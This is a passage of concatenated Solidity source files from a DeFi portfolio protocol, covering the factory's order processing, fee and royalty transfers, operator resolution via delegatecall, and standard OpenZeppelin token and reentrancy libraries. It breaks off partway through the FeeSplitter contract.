(uint256 fees, IERC20 tokenSold) = _submitInOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].fromReserve
);
_transferFeeWithRoyalty(fees, tokenSold, _nftId);
}
}
/// @dev Internal logic extraction of processOutputOrders()
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function _processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) private {
uint256 batchedOrdersLength = _batchedOrders.length;
require(batchedOrdersLength != 0, "NF: INVALID_MULTI_ORDERS");
require(nestedRecords.getAssetReserve(_nftId) == address(reserve), "NF: RESERVE_MISMATCH");
for (uint256 i = 0; i < batchedOrdersLength; i++) {
(uint256 feesAmount, uint256 amountBought) = _submitOutOrders(
_nftId,
_batchedOrders[i],
_batchedOrders[i].toReserve
);
_transferFeeWithRoyalty(feesAmount, _batchedOrders[i].outputToken, _nftId);
if (!_batchedOrders[i].toReserve) {
_safeTransferAndUnwrap(_batchedOrders[i].outputToken, amountBought - feesAmount, _msgSender());
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit orders (where the input is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _fromReserve True if the input tokens are from the reserve (portfolio)
/// @return feesAmount The total amount of fees on the input
/// @return tokenSold The ERC20 token sold (in case of ETH to WETH)
function _submitInOrders(
uint256 _nftId,
BatchedInputOrders calldata _batchedOrders,
bool _fromReserve
) private returns (uint256 feesAmount, IERC20 tokenSold) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
uint256 _inputTokenAmount;
(tokenSold, _inputTokenAmount) = _transferInputTokens(
_nftId,
_batchedOrders.inputToken,
_batchedOrders.amount,
_fromReserve
);
uint256 amountSpent;
for (uint256 i = 0; i < batchLength; i++) {
amountSpent += _submitOrder(
address(tokenSold),
_batchedOrders.orders[i].token,
_nftId,
_batchedOrders.orders[i],
true // always to the reserve
);
}
feesAmount = (amountSpent * entryFees) / 10000; // Entry Fees
require(amountSpent <= _inputTokenAmount - feesAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - feesAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(tokenSold, _fromReserve ? address(reserve) : _msgSender(), underSpentAmount);
}
// If input is from the reserve, update the records
if (_fromReserve) {
_decreaseHoldingAmount(_nftId, address(tokenSold), _inputTokenAmount - underSpentAmount);
}
}
}
/// @dev For every orders, call the operator with the calldata
/// to submit sell orders (where the output is one asset).
/// @param _nftId The id of the NFT impacted by the orders
/// @param _batchedOrders The order to process
/// @param _toReserve True if the output is store in the reserve/records (portfolio), false if not.
/// @return feesAmount The total amount of fees on the output
/// @return amountBought The total amount bought
function _submitOutOrders(
uint256 _nftId,
BatchedOutputOrders calldata _batchedOrders,
bool _toReserve
) private returns (uint256 feesAmount, uint256 amountBought) {
uint256 batchLength = _batchedOrders.orders.length;
require(batchLength != 0, "NF: INVALID_ORDERS");
require(_batchedOrders.amounts.length == batchLength, "NF: INPUTS_LENGTH_MUST_MATCH");
amountBought = _batchedOrders.outputToken.balanceOf(address(this));
IERC20 _inputToken;
uint256 _inputTokenAmount;
for (uint256 i = 0; i < batchLength; i++) {
(_inputToken, _inputTokenAmount) = _transferInputTokens(
_nftId,
IERC20(_batchedOrders.orders[i].token),
_batchedOrders.amounts[i],
true
);
// Submit order and update holding of spent token
uint256 amountSpent = _submitOrder(
address(_inputToken),
address(_batchedOrders.outputToken),
_nftId,
_batchedOrders.orders[i],
false
);
require(amountSpent <= _inputTokenAmount, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _inputTokenAmount - amountSpent;
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(_inputToken, address(reserve), underSpentAmount);
}
_decreaseHoldingAmount(_nftId, address(_inputToken), _inputTokenAmount - underSpentAmount);
}
}
amountBought = _batchedOrders.outputToken.balanceOf(address(this)) - amountBought;
unchecked {
// Entry or Exit Fees
feesAmount = (amountBought * (_toReserve ? entryFees : exitFees)) / 10000;
if (_toReserve) {
_transferToReserveAndStore(_batchedOrders.outputToken, amountBought - feesAmount, _nftId);
}
}
}
/// @dev Call the operator to submit the order and add the output
/// assets to the reserve (if needed).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _nftId The nftId
/// @param _order The order calldata
/// @param _toReserve True if the output is store in the reserve/records, false if not.
/// @return amountSpent The _inputToken amount spent (with the order)
function _submitOrder(
address _inputToken,
address _outputToken,
uint256 _nftId,
Order calldata _order,
bool _toReserve
) private returns (uint256 amountSpent) {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
require(success, "NF: OPERATOR_CALL_FAILED");
if (_toReserve) {
_transferToReserveAndStore(IERC20(_outputToken), amounts[0], _nftId);
}
amountSpent = amounts[1];
}
/// @dev Call the operator to submit the order but dont stop if the call to the operator fail.
/// It will send the input token back to the msg.sender.
/// Note : The _toReserve Boolean has been removed (compare to _submitOrder) since it was
/// useless for the only use case (destroy).
/// @param _inputToken Token used to make the orders
/// @param _outputToken Expected output token
/// @param _amountToSpend The input amount available (to spend)
/// @param _nftId The nftId
/// @param _order The order calldata
function _safeSubmitOrder(
address _inputToken,
address _outputToken,
uint256 _amountToSpend,
uint256 _nftId,
Order calldata _order
) private {
(bool success, uint256[] memory amounts) = callOperator(_order, _inputToken, _outputToken);
if (success) {
require(amounts[1] <= _amountToSpend, "NF: OVERSPENT");
unchecked {
uint256 underSpentAmount = _amountToSpend - amounts[1];
if (underSpentAmount != 0) {
SafeERC20.safeTransfer(IERC20(_inputToken), _msgSender(), underSpentAmount);
}
}
} else {
_safeTransferWithFees(IERC20(_inputToken), _amountToSpend, _msgSender(), _nftId);
}
}
/// @dev Transfer tokens to the reserve, and compute the amount received to store
/// in the records. We need to know the amount received in case of deflationary tokens.
/// @param _token The token to transfer (IERC20)
/// @param _amount The amount to send to the reserve
/// @param _nftId The Token ID to store the assets
function _transferToReserveAndStore(
IERC20 _token,
uint256 _amount,
uint256 _nftId
) private {
address reserveAddr = address(reserve);
uint256 balanceReserveBefore = _token.balanceOf(reserveAddr);
// Send output to reserve
SafeERC20.safeTransfer(_token, reserveAddr, _amount);
uint256 balanceReserveAfter = _token.balanceOf(reserveAddr);
nestedRecords.store(_nftId, address(_token), balanceReserveAfter - balanceReserveBefore, reserveAddr);
}
/// @dev Choose between ERC20 (safeTransfer) and ETH (deposit), to transfer from the Reserve
/// or the user wallet, to the factory.
/// @param _nftId The NFT id
/// @param _inputToken The token to receive
/// @param _inputTokenAmount Amount to transfer
/// @param _fromReserve True to transfer from the reserve
/// @return Token transfered (in case of ETH)
/// @return The real amount received after the transfer to the factory
function _transferInputTokens(
uint256 _nftId,
IERC20 _inputToken,
uint256 _inputTokenAmount,
bool _fromReserve
) private returns (IERC20, uint256) {
if (address(_inputToken) == ETH) {
require(!_fromReserve, "NF: NO_ETH_FROM_RESERVE");
require(address(this).balance >= _inputTokenAmount, "NF: INVALID_AMOUNT_IN");
weth.deposit{ value: _inputTokenAmount }();
return (IERC20(address(weth)), _inputTokenAmount);
}
uint256 balanceBefore = _inputToken.balanceOf(address(this));
if (_fromReserve) {
require(
nestedRecords.getAssetHolding(_nftId, address(_inputToken)) >= _inputTokenAmount,
"NF: INSUFFICIENT_AMOUNT_IN"
);
// Get input from reserve
reserve.withdraw(_inputToken, _inputTokenAmount);
} else {
SafeERC20.safeTransferFrom(_inputToken, _msgSender(), address(this), _inputTokenAmount);
}
return (_inputToken, _inputToken.balanceOf(address(this)) - balanceBefore);
}
/// @dev Send a fee to the FeeSplitter, royalties will be paid to the owner of the original asset
/// @param _amount Amount to send
/// @param _token Token to send
/// @param _nftId User portfolio ID used to find a potential royalties recipient
function _transferFeeWithRoyalty(
uint256 _amount,
IERC20 _token,
uint256 _nftId
) private {
address originalOwner = nestedAsset.originalOwner(_nftId);
ExchangeHelpers.setMaxAllowance(_token, address(feeSplitter));
if (originalOwner != address(0)) {
feeSplitter.sendFeesWithRoyalties(originalOwner, _token, _amount);
} else {
feeSplitter.sendFees(_token, _amount);
}
}
/// @dev Decrease the amount of a NFT holding
/// @param _nftId The NFT id
/// @param _inputToken The token holding
/// @param _amount The amount to subtract from the actual holding amount
function _decreaseHoldingAmount(
uint256 _nftId,
address _inputToken,
uint256 _amount
) private {
nestedRecords.updateHoldingAmount(
_nftId,
_inputToken,
nestedRecords.getAssetHolding(_nftId, _inputToken) - _amount
);
}
/// @dev Transfer a token amount from the factory to the recipient.
/// The token is unwrapped if WETH.
/// @param _token The token to transfer
/// @param _amount The amount to transfer
/// @param _dest The address receiving the funds
function _safeTransferAndUnwrap(
IERC20 _token,
uint256 _amount,
address _dest
) private {
// if buy token is WETH, unwrap it instead of transferring it to the sender
if (address(_token) == address(weth)) {
ExchangeHelpers.setMaxAllowance(IERC20(address(weth)), address(withdrawer));
withdrawer.withdraw(_amount);
(bool success, ) = _dest.call{ value: _amount }("");
require(success, "NF: ETH_TRANSFER_ERROR");
} else {
SafeERC20.safeTransfer(_token, _dest, _amount);
}
}
/// @dev Transfer from factory and collect fees
/// @param _token The token to transfer
/// @param _amount The amount (with fees) to transfer
/// @param _dest The address receiving the funds
/// @param _nftId The nft Id (for royalty fees)
function _safeTransferWithFees(
IERC20 _token,
uint256 _amount,
address _dest,
uint256 _nftId
) private {
uint256 feeAmount = (_amount * exitFees) / 10000; // Exit Fee
unchecked {
_transferFeeWithRoyalty(feeAmount, _token, _nftId);
SafeERC20.safeTransfer(_token, _dest, _amount - feeAmount);
}
}
/// @dev Withdraw from reserve with care of deflationary tokens.
/// @param _token The token to withdraw
/// @param _nftId The NFT id to withdraw from
/// @return The withdrawed amount from the reserve
function _safeWithdraw(address _token, uint256 _nftId) private returns (uint256) {
uint256 holdingAmount = nestedRecords.getAssetHolding(_nftId, _token);
uint256 balanceBefore = IERC20(_token).balanceOf(address(this));
reserve.withdraw(IERC20(_token), holdingAmount);
return IERC20(_token).balanceOf(address(this)) - balanceBefore;
}
/// @dev Verify that msg.value is equal to the amount needed (in the orders)
/// @param _batchedOrders The batched input orders
function _checkMsgValue(BatchedInputOrders[] calldata _batchedOrders) private {
uint256 ethNeeded;
for (uint256 i = 0; i < _batchedOrders.length; i++) {
if (address(_batchedOrders[i].inputToken) == ETH) {
ethNeeded += _batchedOrders[i].amount;
}
}
require(msg.value == ethNeeded, "NF: WRONG_MSG_VALUE");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
/// @notice Ownable re-implementation to initialize the owner in the
/// proxy storage after an "upgradeToAndCall()" (delegatecall).
/// @dev The implementation contract owner will be address zero (by removing the constructor)
abstract contract OwnableProxyDelegation is Context {
/// @dev The contract owner
address private _owner;
/// @dev Storage slot with the proxy admin (see TransparentUpgradeableProxy from OZ)
bytes32 internal constant _ADMIN_SLOT = bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
/// @dev True if the owner is setted
bool public initialized;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice Initialize the owner (by the proxy admin)
/// @param ownerAddr The owner address
function initialize(address ownerAddr) external {
require(ownerAddr != address(0), "OPD: INVALID_ADDRESS");
require(!initialized, "OPD: INITIALIZED");
require(StorageSlot.getAddressSlot(_ADMIN_SLOT).value == msg.sender, "OPD: FORBIDDEN");
_setOwner(ownerAddr);
initialized = true;
}
/// @dev Returns the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(owner() == _msgSender(), "OPD: NOT_OWNER");
_;
}
/// @dev Leaves the contract without owner. It will not be possible to call
/// `onlyOwner` functions anymore. Can only be called by the current owner.
///
/// NOTE: Renouncing ownership will leave the contract without an owner,
/// thereby removing any functionality that is only available to the owner.
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/// @dev Transfers ownership of the contract to a new account (`newOwner`).
/// Can only be called by the current owner.
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "OPD: INVALID_ADDRESS");
_setOwner(newOwner);
}
/// @dev Update the owner address
/// @param newOwner The new owner address
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "../OperatorResolver.sol";
import "../interfaces/IOperatorResolver.sol";
import "../interfaces/INestedFactory.sol";
/// @title Mixin operator resolver
/// @notice Store in cache operators name and address/selector
abstract contract MixinOperatorResolver {
/// @notice Emitted when cache is updated
/// @param name The operator name
/// @param destination The operator address
event CacheUpdated(bytes32 name, IOperatorResolver.Operator destination);
/// @dev The OperatorResolver used to build the cache
OperatorResolver public immutable resolver;
/// @dev Cache operators map of the name and Operator struct (address/selector)
mapping(bytes32 => IOperatorResolver.Operator) internal operatorCache;
constructor(address _resolver) {
require(_resolver != address(0), "MOR: INVALID_ADDRESS");
resolver = OperatorResolver(_resolver);
}
/// @dev This function is public not external in order for it to be overridden and
/// invoked via super in subclasses
function resolverOperatorsRequired() public view virtual returns (bytes32[] memory) {}
/// @notice Rebuild the operatorCache
function rebuildCache() public {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory destination;
// The resolver must call this function whenever it updates its state
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
// Note: can only be invoked once the resolver has all the targets needed added
destination = resolver.getOperator(name);
if (destination.implementation != address(0)) {
operatorCache[name] = destination;
} else {
delete operatorCache[name];
}
emit CacheUpdated(name, destination);
}
}
/// @notice Check the state of operatorCache
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredOperators = resolverOperatorsRequired();
bytes32 name;
IOperatorResolver.Operator memory cacheTmp;
IOperatorResolver.Operator memory actualValue;
for (uint256 i = 0; i < requiredOperators.length; i++) {
name = requiredOperators[i];
cacheTmp = operatorCache[name];
actualValue = resolver.getOperator(name);
// false if our cache is invalid or if the resolver doesn't have the required address
if (
actualValue.implementation != cacheTmp.implementation ||
actualValue.selector != cacheTmp.selector ||
cacheTmp.implementation == address(0)
) {
return false;
}
}
return true;
}
/// @dev Get operator address in cache and require (if exists)
/// @param name The operator name
/// @return The operator address
function requireAndGetAddress(bytes32 name) internal view returns (IOperatorResolver.Operator memory) {
IOperatorResolver.Operator memory _foundAddress = operatorCache[name];
require(_foundAddress.implementation != address(0), string(abi.encodePacked("MOR: MISSING_OPERATOR: ", name)));
return _foundAddress;
}
/// @dev Build the calldata (with safe datas) and call the Operator
/// @param _order The order to execute
/// @param _inputToken The input token address
/// @param _outputToken The output token address
/// @return success If the operator call is successful
/// @return amounts The amounts from the execution (used and received)
/// - amounts[0] : The amount of output token
/// - amounts[1] : The amount of input token USED by the operator (can be different than expected)
function callOperator(
INestedFactory.Order calldata _order,
address _inputToken,
address _outputToken
) internal returns (bool success, uint256[] memory amounts) {
IOperatorResolver.Operator memory _operator = requireAndGetAddress(_order.operator);
// Parameters are concatenated and padded to 32 bytes.
// We are concatenating the selector + given params
bytes memory data;
(success, data) = _operator.implementation.delegatecall(bytes.concat(_operator.selector, _order.callData));
if (success) {
address[] memory tokens;
(amounts, tokens) = abi.decode(data, (uint256[], address[]));
require(tokens[0] == _outputToken, "MOR: INVALID_OUTPUT_TOKEN");
require(tokens[1] == _inputToken, "MOR: INVALID_INPUT_TOKEN");
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @notice Helpers for swapping tokens
library ExchangeHelpers {
using SafeERC20 for IERC20;
/// @dev Perform a swap between two tokens
/// @param _sellToken Token to exchange
/// @param _swapTarget The address of the contract that swaps tokens
/// @param _swapCallData Call data provided by 0x to fill the quote
/// @return True if the call succeeded, false if not
function fillQuote(
IERC20 _sellToken,
address _swapTarget,
bytes memory _swapCallData
) internal returns (bool) {
setMaxAllowance(_sellToken, _swapTarget);
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = _swapTarget.call(_swapCallData);
return success;
}
/// @dev sets the allowance for a token to the maximum if it is not already at max
/// @param _token The token to use for the allowance setting
/// @param _spender Spender to allow
function setMaxAllowance(IERC20 _token, address _spender) internal {
uint256 _currentAllowance = _token.allowance(address(this), _spender);
if (_currentAllowance != type(uint256).max) {
// Decrease to 0 first for tokens mitigating the race condition
_token.safeDecreaseAllowance(_spender, _currentAllowance);
_token.safeIncreaseAllowance(_spender, type(uint256).max);
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.11;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../NestedReserve.sol";
import "../FeeSplitter.sol";
/// @title NestedFactory interface
interface INestedFactory {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when the feeSplitter is updated
/// @param feeSplitter The new feeSplitter address
event FeeSplitterUpdated(address feeSplitter);
/// @dev Emitted when the entryFees is updated
/// @param entryFees The new entryFees amount
event EntryFeesUpdated(uint256 entryFees);
/// @dev Emitted when the exitFees is updated
/// @param exitFees The new exitFees amount
event ExitFeesUpdated(uint256 exitFees);
/// @dev Emitted when the reserve is updated
/// @param reserve The new reserve address
event ReserveUpdated(address reserve);
/// @dev Emitted when a NFT (portfolio) is created
/// @param nftId The NFT token Id
/// @param originalNftId If replicated, the original NFT token Id
event NftCreated(uint256 indexed nftId, uint256 originalNftId);
/// @dev Emitted when a NFT (portfolio) is updated
/// @param nftId The NFT token Id
event NftUpdated(uint256 indexed nftId);
/// @dev Emitted when a new operator is added
/// @param newOperator The new operator bytes name
event OperatorAdded(bytes32 newOperator);
/// @dev Emitted when an operator is removed
/// @param oldOperator The old operator bytes name
event OperatorRemoved(bytes32 oldOperator);
/// @dev Emitted when tokens are unlocked (sent to the owner)
/// @param token The unlocked token address
/// @param amount The unlocked amount
event TokensUnlocked(address token, uint256 amount);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent an order made to the factory when creating/editing an NFT
/// @param operator The bytes32 name of the Operator
/// @param token The expected token address in output/input
/// @param callData The operator parameters (delegatecall)
struct Order {
bytes32 operator;
address token;
bytes callData;
}
/// @dev Represent multiple input orders for a given token to perform multiple trades.
/// @param inputToken The input token
/// @param amount The amount to transfer (input amount)
/// @param orders The orders to perform using the input token.
/// @param _fromReserve Specify the input token source (true if reserve, false if wallet)
/// Note: fromReserve can be read as "from portfolio"
struct BatchedInputOrders {
IERC20 inputToken;
uint256 amount;
Order[] orders;
bool fromReserve;
}
/// @dev Represent multiple output orders to receive a given token
/// @param outputToken The output token
/// @param amounts The amount of sell tokens to use
/// @param orders Orders calldata
/// @param toReserve Specify the output token destination (true if reserve, false if wallet)
/// Note: toReserve can be read as "to portfolio"
struct BatchedOutputOrders {
IERC20 outputToken;
uint256[] amounts;
Order[] orders;
bool toReserve;
}
/* ------------------------------ OWNER FUNCTIONS ------------------------------ */
/// @notice Add an operator (name) for building cache
/// @param operator The operator name to add
function addOperator(bytes32 operator) external;
/// @notice Remove an operator (name) for building cache
/// @param operator The operator name to remove
function removeOperator(bytes32 operator) external;
/// @notice Sets the address receiving the fees
/// @param _feeSplitter The address of the receiver
function setFeeSplitter(FeeSplitter _feeSplitter) external;
/// @notice Sets the entry fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _entryFees Entry fees amount
function setEntryFees(uint256 _entryFees) external;
/// @notice Sets the exit fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _exitFees Exit fees amount
function setExitFees(uint256 _exitFees) external;
/// @notice The Factory is not storing funds, but some users can make
/// bad manipulations and send tokens to the contract.
/// In response to that, the owner can retrieve the factory balance of a given token
/// to later return users funds.
/// @param _token The token to retrieve.
function unlockTokens(IERC20 _token) external;
/* ------------------------------ USERS FUNCTIONS ------------------------------ */
/// @notice Create a portfolio and store the underlying assets from the positions
/// @param _originalTokenId The id of the NFT replicated, 0 if not replicating
/// @param _batchedOrders The order to execute
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple input orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) external;
/// @notice Process multiple input orders and then multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedInputOrders The input orders to execute (first)
/// @param _batchedOutputOrders The output orders to execute (after)
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable;
/// @notice Burn NFT and exchange all tokens for a specific ERC20 then send it back to the user
/// @dev Will unwrap WETH output to ETH
/// @param _nftId The id of the NFT to destroy
/// @param _buyToken The output token
/// @param _orders Orders calldata
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external;
/// @notice Withdraw a token from the reserve and transfer it to the owner without exchanging it
/// @param _nftId NFT token ID
/// @param _tokenIndex Index in array of tokens for this NFT and holding.
function withdraw(uint256 _nftId, uint256 _tokenIndex) external;
/// @notice Update the lock timestamp of an NFT record.
/// Note: Can only increase the lock timestamp.
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp.
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/external/IWETH.sol";
/// @title Manage the fees between shareholders
/// @notice Receives fees collected by the NestedFactory, and splits the income among
/// shareholders (the NFT owners, Nested treasury and a NST buybacker contract).
contract FeeSplitter is Ownable, ReentrancyGuard {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when a payment is released
/// @param to The address receiving the payment
/// @param token The token transfered
/// @param amount The amount paid
event PaymentReleased(address to, address token, uint256 amount);
/// @dev Emitted when a payment is received
/// @param from The address sending the tokens
/// @param token The token received
/// @param amount The amount received
event PaymentReceived(address from, address token, uint256 amount);
/// @dev Emitted when the royalties weight is updated
/// @param weight The new weight
event RoyaltiesWeightUpdated(uint256 weight);
/// @dev Emitted when a new shareholder is added
/// @param account The new shareholder account
/// @param weight The shareholder weight
event ShareholdersAdded(address account, uint256 weight);
/// @dev Emitted when a shareholder weight is updated
/// @param account The shareholder address
/// @param weight The new weight
event ShareholderUpdated(address account, uint256 weight);
/// @dev Emitted when royalties are claim released
/// @param to The address claiming the royalties
/// @param token The token received
/// @param value The amount received
